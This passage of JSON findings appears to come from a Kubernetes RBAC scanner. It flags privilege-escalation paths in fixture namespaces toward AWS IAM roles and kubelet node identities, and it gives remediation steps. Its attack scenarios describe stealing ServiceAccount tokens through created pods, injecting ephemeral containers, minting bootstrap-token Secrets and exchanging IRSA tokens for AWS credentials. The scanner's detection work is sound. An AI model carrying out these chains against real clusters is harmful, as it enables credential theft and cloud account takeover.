      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/vulnerable/privileged-reader:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-test/eks-admin-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/vulnerable/privileged-reader:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  2. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/privesc-fixtures/sa-ephemeral:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can **obtain a node identity** for any node in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector\n  3. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/kube-system/generic-garbage-collector` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/privesc-fixtures/sa-pod-exec:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can **obtain a node identity** for any node in 3 hop(s)",
